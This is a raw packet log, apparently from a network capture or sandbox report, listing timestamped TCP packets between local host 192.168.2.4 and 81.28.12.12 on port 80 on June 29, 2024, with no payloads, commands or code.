Jun 29, 2024 08:05:17.247781038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247822046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247852087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247900963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247935057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247953892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247997999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248024940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248055935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248090029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248114109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248148918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248169899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248203039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248229980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248244047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248274088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248310089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248332977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248354912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248383999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248419046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248439074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.248471022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.248675108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315143108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315223932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315268993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315298080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315352917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315388918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315409899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315439939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315460920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315510035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315542936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315565109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315594912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315618038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315650940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315685034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315717936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315738916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315771103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315803051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.315821886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315848112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.315875053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.317377090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.318747044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.318808079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.318823099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.318854094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.318881035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.318913937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.318934917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.318967104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.318994999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.319021940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.319056988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.319080114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.319129944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.319935083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.319968939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.319992065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320009947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320060015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.320092916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.320136070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.320153952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320153952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320175886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320207119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.320240021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.320260048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.320290089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.332900047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.332935095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.332962990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.332981110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333010912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333062887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333095074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333115101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333147049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333168983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333220959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333256960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333276987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333307981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333331108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333380938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333414078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333462954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333483934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333517075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333551884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333571911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333636999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333671093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333690882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333728075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333741903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333806992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333841085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333859921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333885908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.333911896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333965063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.333997965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334032059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334052086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334083080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334129095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334157944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334202051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334228992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334263086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334296942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334326982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334351063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334372997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334407091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334440947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334458113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334477901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334510088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334542990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334568977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334594011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334616899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334650993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334683895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334703922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334734917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334775925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334790945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334835052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334850073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334881067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334913969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334933996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.334964037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.334996939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335016012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335055113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335083008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335115910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335148096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335169077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335218906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335252047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335272074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335304022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335325003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335372925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335393906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335427999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335460901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335509062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335532904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335580111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335602999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335652113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335704088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335725069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335776091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335796118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335829020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335865021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335896969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335916996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.335943937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.335975885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336009979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336030960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336071968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336086988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336119890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336153030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336174011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336205006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336239100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336261034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336291075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336324930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336349010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336380005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336411953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336431026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.336462975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.336508989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337218046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337250948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337284088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337304115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337328911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337376118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337403059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337445974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337474108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337507010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337526083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337557077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337590933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337610006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337631941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337685108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337719917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337740898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337780952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337795019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337826967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337855101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337872028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.337898016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337930918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.337954998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.338148117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.404731035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.404795885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.404824972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.404869080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.404896975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.404932022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.404953003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.404983997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405014992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405034065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405059099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405102968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405129910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405164003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405184984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405215979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405251026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405270100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405302048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405335903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405359030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405384064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.405411959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405447006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.405498981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408211946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408245087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408276081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408296108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408322096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408371925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408425093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408457994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408523083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408550978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408582926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.408605099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.408668041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.409526110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409580946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.409630060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409663916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409713984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.409746885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409780979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409816980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.409837961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.409859896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409892082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.409914970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.410159111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.422610998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.422667027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.422691107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.422740936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.422775984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.422796011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.422826052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.422844887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.422871113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.422898054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423134089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423194885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423209906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423240900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423284054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423326015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423352957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423419952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423453093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423474073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423501015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423554897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423588991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423609018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423640013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423671961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423695087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423721075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423743010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423775911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423809052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423841953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423863888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423903942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.423930883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.423963070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424005032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424019098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424051046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424083948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424103975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424134016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424159050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424180031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424210072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424241066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424273014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424293041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424326897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424345970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424381018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424403906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424436092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424470901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424508095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424542904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424595118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424650908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424668074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424719095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424737930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424771070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424803972 CEST	80	49731	81.28.12.12	192.168.2.4
